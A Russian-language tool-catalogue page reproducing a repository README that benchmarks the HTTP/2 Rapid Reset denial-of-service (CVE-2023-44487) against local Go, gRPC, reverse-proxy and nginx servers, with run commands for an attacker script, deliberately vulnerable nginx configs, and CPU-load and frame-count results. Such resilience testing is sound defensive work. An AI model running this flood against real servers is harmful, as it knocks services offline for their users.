Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
golang-CVE-2023-44487 — Инструмент для тестирования атаки быстрого сброса HTTP/2 (CVE-2023-44487) с реализациями клиента и сервера атакующего для бенчмаркинга устойчивости Go, gRPC и nginx. | Kitploit
Инструменты/GitHubGitHub/retocode/golang-cve-2023-44487
Анализ уязвимостейЭксплуатацияВеб-безопасностьФаззингТестирование на Проникновение
GitHubretocode/golang-cve-2023-44487

golang-CVE-2023-44487

Инструмент для тестирования атаки быстрого сброса HTTP/2 (CVE-2023-44487) с реализациями клиента и сервера атакующего для бенчмаркинга устойчивости Go, gRPC и nginx.

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
22 лет назадЕщё не проверено

Тестирование Golang CVE-2023-44487

Этот репозиторий содержит тестовые ресурсы и результаты для CVE-2023-44487. Он использует модифицированную версию https://github.com/secengjeff/rapidresetclient для тестирования различных конфигураций серверов Golang.

Тестирование обычного сервера

root@kitploit:~
go run server.go
go run attacker.go -requests 500000

Результаты

go 1.21.0

root@kitploit:~
350% CPU load

--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Total time: 7.99 seconds (62562 rps)

go 1.21.3

root@kitploit:~
75% CPU load (just for a short time at the begin of the attack)

--- Summary ---
Frames sent: HEADERS = 74767, RST_STREAM = 74767
Total time: 3.57 seconds (20921 rps)

starts to fail pretty fast with
62->[::1]:8443: write: connection reset by peer[999995] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer

Тестирование GRPC-сервера

root@kitploit:~
go run grpcserver.go
go run attacker.go -requests 500000

Результаты

go 1.21.0, golang.org/x/net v0.16.0, google.golang.org/grpc v1.58.0

root@kitploit:~
150-200% CPU load

--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 499998
Total time: 10.23 seconds (48898 rps)

go 1.21.3, golang.org/x/net v0.17.0, google.golang.org/grpc v1.59.0

root@kitploit:~
150-200% CPU load

--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 499993
Total time: 8.25 seconds (60639 rps)

Атакующий на самом деле не обращается к конечным точкам GRPC, поэтому, похоже, нет разницы в поведении по сравнению с "обычными" вызовами http2. Не совсем уверен, хорошо это или плохо, но сервер справляется с нагрузкой.

Тестирование сервера httputil.ReverseProxy

root@kitploit:~
# use nginx as target
sudo nginx -c $PWD/nginx/vulnerable_8444.conf -g daemon\ off\;
go run revproxyserver.go
go run attacker.go -requests 500000

Результаты

go 1.21.0

root@kitploit:~
200% CPU load during the full attack

--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 25
Total time: 9.43 seconds (53014 rps)

go 1.21.3

root@kitploit:~
150% CPU load (just for a short time at the begin of the attack)

--- Summary ---
Frames sent: HEADERS = 100194, RST_STREAM = 100193
Total time: 4.36 seconds (22955 rps)

starts to fail pretty fast with
62->[::1]:8443: write: connection reset by peer[999995] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer

Server log now contains 😎
2023/10/25 14:45:54 http2: server connection error from [::1]:60762: connection error: ENHANCE_YOUR_CALM

Тестирование nginx

root@kitploit:~
sudo nginx -c $PWD/nginx/vulnerable.conf -g daemon\ off\;
go run attacker.go -requests 500000

Результаты

С уязвимой конфигурацией

root@kitploit:~
100% CPU load

--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 478609
Total time: 8.13 seconds (61484 rps)

С конфигурацией по умолчанию

root@kitploit:~
34% CPU load

--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 1432
Total time: 7.62 seconds (65588 rps)

Nginx просто перестаёт отвечать на большое количество фреймов.

Скачать инструмент